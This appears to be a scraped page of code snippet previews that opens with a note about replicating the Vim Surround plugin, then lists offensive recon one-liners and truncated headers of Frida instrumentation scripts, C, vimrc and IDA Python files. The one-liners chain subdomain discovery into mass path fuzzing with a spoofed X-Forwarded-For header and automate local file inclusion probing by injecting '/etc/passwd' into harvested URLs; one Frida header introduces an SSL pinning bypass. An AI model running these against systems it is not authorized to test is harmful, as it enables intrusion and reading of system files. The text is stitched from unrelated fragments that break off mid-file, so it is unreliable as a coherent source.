iddoeldor

Poor man's Surround

The following shows how to replicate some of Surround's features if you don't happen to have it installed.

NOTE: We only dealt with the simplest cases, here, and the convoluted nature of some of these commands shows how well designed and useful that plugin is. And let's not talk about all the corner cases it handles.

Install it, it's worth it.

The list

FFUF fuzzing paths + Domains
- assetfinder http://DOMAIN.COM | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w wordlist_paths -u @/FUZZ -mc 200 -H "Content-Type: application/json" -t 150 -H "X-Forwarded-For:127.0.0.1"'

LFI testing
- gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

	/*
	* Copyright (C) 2008 The Android Open Source Project
	*
	* Licensed under the Apache License, Version 2.0 (the "License");
	* you may not use this file except in compliance with the License.
	* You may obtain a copy of the License at
	*
	* http://www.apache.org/licenses/LICENSE-2.0
	*
	* Unless required by applicable law or agreed to in writing, software

	/*
	* This is example shows how to use CModule, Typescript, and ObjC.
	* It lets us see what files are opened by the target process (`getpid()`).
	* It is lsof for iOS but implemented in frida.
	*
	* How to run?
	* frida -U -n <target> -l proc.ts
	* In REPL:
	* rpc.exports.fds();
	*

	/* Android Keystore calls detection script
	by Maurizio Siddu

	Run with:
	frida -U -f [APP_ID] -l keystore_spy.js --no-pause
	*/

	setTimeout(function() {
	Java.perform(function() {
	console.log('')

	console.log("[*] SSL Pinning Bypasses");
	console.log(`[*] Your frida version: ${Frida.version}`);
	console.log(`[*] Your script runtime: ${Script.runtime}`);

	/**
	* by incogbyte
	* Common functions
	* thx apkunpacker, NVISOsecurity, TheDauntless
	* Remember that sslpinning can be custom, and sometimes u need to reversing using ghidra,IDA or something like that.
	* !!! THIS SCRIPT IS NOT A SILVER BULLET !!

	#include <sys/types.h>
	#include <sys/mman.h>
	#include <sys/stat.h>
	#include <err.h>
	#include <errno.h>
	#include <fcntl.h>
	#include <unistd.h>
	#include <string.h>
	#include <stddef.h>
	#include <stdio.h>

	" I split my config into separate files so my real ~/.vimrc is just:
	" source ~/scripts/.vimrc
	" source ~/scripts/.vimrcplugins

	" Update everthing:
	" PlugUpgrade
	" PlugUpdate
	" CocUpdate
	scriptencoding utf-8 " basic
	set nocompatible " basic

	#/bin/env python

	from idautils import *
	from idaapi import *
	from ida_bytes import *
	from ida_segment import *

	PAGE_SIZE = 4096

	# Tested version: